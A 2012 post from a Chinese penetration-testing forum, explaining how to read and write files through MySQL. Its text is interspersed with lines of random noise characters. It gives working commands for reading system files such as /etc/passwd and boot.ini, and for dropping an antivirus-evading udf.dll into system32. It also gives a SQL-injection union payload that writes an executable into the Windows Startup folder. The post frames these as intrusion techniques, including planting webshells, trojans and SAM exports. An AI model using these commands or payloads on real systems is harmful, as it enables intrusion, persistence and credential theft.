中国网络渗透测试联盟
标题:
mysql下读取文件的几种方式
[打印本页]
作者:
admin
时间:
2012-9-13 16:34
标题:
mysql下读取文件的几种方式
今天朋友问我如何在mysql下读取文件,把我问愣了,发现自己还是犯了不求甚解的毛病,因此特地查了下mysql使用手册。
- Y# [4 f' L' t _
思路都一样,在拥有file权限的前提下,读取文件为字符串形式插入表中,然后读出表中数据,只是方式略有不同
) C+ N% A$ U2 z) v
- P! H6 X6 K# ^1 |- C* R4 B
mysql3.x下
. A) J) s2 |4 h3 D& X' M" B
4 E; P1 f$ F4 U* {
不确定mysql3.x下能否使用load_file()函数(我在mysql3使用手册上没有查到,但貌似是可以的),用 load data infile 读取文件,命令如下
z8 I7 H5 e s3 e, P" a- x
+ v7 ^8 a; S3 u5 ^; H
mysql>create table a (cmd text);
9 M0 T. M" D: o e* c* k; S
mysql>load data infile 'c:\\boot.ini' into table a;
1 _2 {; l$ E5 R! t
mysql>select * from a;
( V( U2 T. \" S# b+ N! P
; }, a# r& L5 d* A
mysql4.x下
3 { I- a1 F, ?4 P, d
* |5 k8 t+ h" ^& {
mysql4.x下除了 load data infile 外还可以用大家熟知的 load_file() 来读取,命令如下
( S+ Y$ O: s: i
l) w I# b; X! n/ j; U3 t3 d
mysql>create table a (cmd text);
9 n. P) [% I) z& B: Z* {; y
mysql>insert into a (cmd) values (load_file('c:\\boot.ini'));
5 o) l: B3 R" D6 i6 H
mysql>select * from a;
& c6 X+ ]! O( x! d9 ?
5 w0 a% l' J% ~0 c
mysql5.x下
# w6 v) W! ^6 t: `0 x& H
# ~9 ^' h" f0 ^; d- Q+ u
在linux下,mysql5.x 除了上面两种方法,还可以利用 system 直接执行系统命令的方式来读取文件(是否必须root身份不确定,未测试),命令如下
& I: P& p- _& @3 ~
# {) u& F* |4 I9 D5 {
mysql>system cat /etc/passwd
0 N& j9 @% v3 P' Y' ]
2 `& b$ S3 @ |# q% h7 B1 S' Z
" b; M7 K* s' ~! n
mysql下读取文件在入侵中用到的时候不多,可能用于查询配置文件寻找web路径,或者webshell权限很小的时候读取其他格式的webshell内容然后用into outfile方式写入大马等,二进制文件也可以这样用,只是多了hex()和unhex()的工序。
! \. ?7 b! p6 I0 i
7 a$ c2 _1 ~% @% ]( I1 `
4 J7 `+ V) q( t- [* s' A3 i
例:把免杀过的udf.dll文件插入系统目录
% w. E0 W) k6 W, \- g) I
0 i8 C! W. e. W4 a* `% E
create table a (cmd LONGBLOB);
" P4 {/ T: U2 R% Q! a8 K% g
insert into a (cmd) values (hex(load_file('c:\\windows\\temp\\udf.dll')));
3 G0 z0 r% V- d9 N9 B$ Z3 A
SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\windows\\system32\\udf.dll';
( d9 Z( F7 j0 s; ~& w& D, k9 K3 _
t# ]3 \( R- m \ U/ H+ H
其他的利用方法也很多,如把木马文件写入启动项,或者把加工过的cmd.exe文件导出到系统根目录下,把sam备份导出到可读目录等等,注入中应该也可以这样用(在不知道web路径又可以导出文件的情况下),大家自由发挥吧。
# a s1 s& W/ P& Y4 Q& r
( b: _+ C+ R( i7 `( i8 G
2 S7 \9 n0 c: W% {; g8 n
注入中的语法(未测试)
: f% _( m% f% j4 x: H: K& G2 y& `
! z! h/ ]% x8 Z1 d$ N) e! H
% M, g2 I- P5 K/ z* a
id=xxx and 1=2 union select 1,2,3,unhex(mm.exe的十六进制),5 INTO DUMPFILE 'C:\\Documents and Settings\\All Users\\「开始」菜单\程序\启动\\mm.exe'/*
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2